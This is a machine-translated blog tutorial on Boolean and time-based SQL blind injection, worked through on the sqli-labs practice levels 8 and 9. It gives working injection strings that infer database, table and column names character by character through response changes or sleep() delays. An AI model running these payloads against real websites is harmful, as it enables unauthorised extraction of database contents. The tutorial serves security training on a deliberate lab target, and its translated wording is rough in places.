当前位置:网站首页>SQL blind injection (WEB penetration)
SQL blind injection (WEB penetration)
2022-07-07 12:23:00 【hcjtn】
sql Blind note (web penetration )
- sql Blind note Mainly dealing with the page face wed Use when the error response is better ( namely , Error does not echo )
Bull's blind note
Use page return still No return We can judge the desired result by changing these two states ( Boolean for 0 or 1 Two cases )
The problem solving steps :( The following examples are all based on sql-lab less-8 For example )
Get the length of the database name : ?id=1’ and (length(database()))=8-- q( utilize > < or = To determine the length of its database )
Get the database name :
?id=1’ and ascii(substr(database(),1,1))=115 Indicates from the database 1 Start taking a length ( You will get a decimal number , utilize ASCII Table converts it into letters or symbols ) The first is s、
It can also be done through burp suite To do it
Get the number of tables : ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q
Get the length of the name of the table : ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q Yes 6 Length
Get the name of the table : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q The first is e
Get field name :?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q The first is i
The function of Boolean blind note
- String concatenation function : Concat ,concat_ws, group_concat
- String truncation function :Substr, mid, left , right, locate
- Returns the specified ASCII Functions required by string :ascii,ord
- Returns the... Corresponding to the specified number ascii Code character :char
- String substitution :replace
- Calculate correlation : length( length ) count( Count )
Time blind note
- Time blind note :( With sql-lab less-9 For example ) The problem solving steps
The Ninth level is found according to the blind note just now, no matter what conditions are entered , The echo result is a , It is proved that the Boolean blind note just now cannot be used , Try to use time blind
Parsing library name length : ?id=1’ and if(length(database())=8,sleep(5),1)-- q( If set up , Just react in five seconds , notes : there 1 It doesn't mean anything )
Resolve database name :?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name : ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
The function of time blind :
- sleep() Hang the program for a while n by n second
- if(expr1,expr2,expr3) Judgment statement If the first statement is correct, execute the second statement If there is an error, execute the third statement .
边栏推荐
- Time bomb inside the software: 0-day log4shell is just the tip of the iceberg
- Sonar:cognitive complexity
- Tutorial on principles and applications of database system (007) -- related concepts of database
- 【玩转 RT-Thread】 RT-Thread Studio —— 按键控制电机正反转、蜂鸣器
- Sign up now | oar hacker marathon phase III midsummer debut, waiting for you to challenge
- Fleet tutorial 19 introduction to verticaldivider separator component Foundation (tutorial includes source code)
- Common locking table processing methods in Oracle
- Several methods of checking JS to judge empty objects
- The road to success in R & D efficiency of 1000 person Internet companies
- 即刻报名|飞桨黑客马拉松第三期盛夏登场,等你挑战
猜你喜欢
超标量处理器设计 姚永斌 第10章 指令提交 摘录
Several methods of checking JS to judge empty objects
<No. 8> 1816. 截断句子 (简单)
[neural network] convolutional neural network CNN [including Matlab source code 1932]
【滤波跟踪】捷联惯导纯惯导解算matlab实现
Swiftui tutorial how to realize automatic scrolling function in 2 seconds
Flet教程之 15 GridView 基础入门(教程含源码)
Solve server returns invalid timezone Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually
Idea 2021 Chinese garbled code
5V串口接3.3V单片机串口怎么搞?
随机推荐
2022 8th "certification Cup" China University risk management and control ability challenge
Completion report of communication software development and Application
Present pod information to the container through environment variables
数据库系统原理与应用教程(007)—— 数据库相关概念
Introduction to three methods of anti red domain name generation
Have you ever met flick Oracle CDC, read a table without update operation, and read it repeatedly every ten seconds
SwiftUI Swift 内功之 Swift 中使用不透明类型的 5 个技巧
(to be deleted later) yyds, paid academic resources, please keep a low profile!
Flet教程之 18 Divider 分隔符组件 基础入门(教程含源码)
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
解决 Server returns invalid timezone. Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually
Is it safe to open an account in Ping An Securities mobile bank?
<No. 9> 1805. Number of different integers in the string (simple)
【数据聚类】基于多元宇宙优化DBSCAN实现数据聚类分析附matlab代码
Common locking table processing methods in Oracle
软件内部的定时炸弹:0-Day Log4Shell只是冰山一角
Superscalar processor design yaoyongbin Chapter 10 instruction submission excerpt
Review and arrangement of HCIA
SwiftUI Swift 内功之如何在 Swift 中进行自动三角函数计算
[neural network] convolutional neural network CNN [including Matlab source code 1932]